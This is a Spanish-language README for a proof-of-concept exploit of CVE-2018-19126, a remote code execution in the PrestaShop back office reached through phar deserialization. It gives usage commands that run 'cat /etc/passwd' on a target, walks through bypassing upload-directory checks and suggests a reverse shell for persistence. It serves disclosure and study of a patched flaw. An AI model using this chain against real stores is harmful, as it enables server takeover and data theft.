
PrestaShop (1.6.x <= 1.6.1.23 or 1.7.x <= 1.7.4.4) Ejecución Remota de Código en el Back Office (CVE-2018-19126)
Este es el PoC para CVE-2018-19126, que encadena múltiples vulnerabilidades en el Back Office de PrestaShop para provocar la deserialización a través de un phar y lograr la ejecución remota de código.
Prerrequisito:

Nota de versión de PrestaShop: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
Enlace del paquete vulnerable: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
SOLO CON FINES EDUCATIVOS. NO UTILICE ESTE SCRIPT PARA ACTIVIDADES ILEGALES. EL AUTOR NO SE HACE RESPONSABLE DE NINGÚN USO INDEBIDO O DAÑO.
Necesita php con la extensión curl y establecer phar.readonly = Off en php.ini para ejecutar el exploit.
# Descargar el repositorio
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Ejecutar el exploit
# Uso: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
Tenga en cuenta que el directorio de subida será renombrado y no podrá subir el archivo phar malicioso nuevamente si el nombre de la carpeta no se revierte. Quizás desee ejecutar una reverse shell para obtener persistencia RCE o incluir el comando para renombrar la carpeta nuevamente en su payload (necesita conocer la ruta al directorio de subida).
Podemos lograr deserialización implícita con envoltorio phar a través de la función getimagesize() en [back-office-path]/filemanager/ajax_calls.php.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
Necesitamos encontrar la forma de que getimagesize() sea llamada con la URL del envoltorio phar como parámetro, eludiendo ciertas comprobaciones.
La primera comprobación con realpath() es bastante estricta.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
La variable $upload_dir proviene de config.php, que se establece con $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/'; por defecto. No podemos usar phar://[string] en $_POST['path'] porque realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) devolverá false porque no existe.
Existe otra vulnerabilidad (CVE-2018-19125) que permite al usuario eliminar o renombrar $upload_dir. Si el directorio $upload_dir no existe, realpath(_PS_ROOT_DIR_.$upload_dir) devolverá false y podemos eludir esta comprobación porque realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) también es false. Esta vulnerabilidad se descubrió durante la revisión de código al intentar encontrar la manera de eludir :).
En resumen, CVE-2018-19125 permite que el parámetro path en la llamada a la acción delete_folder o rename_folder en execute.php esté vacío, por lo que la aplicación eliminará/renombrará el $upload_dir en su lugar.
La segunda comprobación es simple, $_POST['path'] debe contener $upload_dir.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
Podemos simplemente añadir /img/cms/ en la URL phar después de la ruta del archivo phar porque si el directorio no existe dentro del archivo phar, la deserialización aún ocurre. substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)) solo reemplazará /img/cms/ con la ruta absoluta ($current_path) de esa carpeta (por ejemplo, /var/www/html/img/cms/ si la aplicación está instalada en /var/www/html/).
Debido a que podemos controlar la función getimagesize() para procesar una URL de envoltorio phar, necesitamos subir el archivo phar malicioso al servidor. Por defecto, FileManager en PrestaShop solo permite las extensiones 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv' y 'webm'. Podemos simplemente crear el payload y guardarlo con una extensión válida. Podemos usar las cadenas de gadgets Monolog de PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) ya que PrestaShop las utiliza.
Pasos finales de explotación:
image_size con phar://../../img/renamed/phar.pdf/img/cms/ como parámetro path.El script exploit.php realizará todos los pasos automáticamente.
Recuerde que el directorio de subida se renombra en el paso 3 y no puede subir el archivo phar malicioso nuevamente si el nombre de la carpeta no se revierte. Quizás desee usar una reverse shell como payload o incluir el comando para renombrar la carpeta nuevamente en el payload (necesita conocer la ruta al directorio de subida).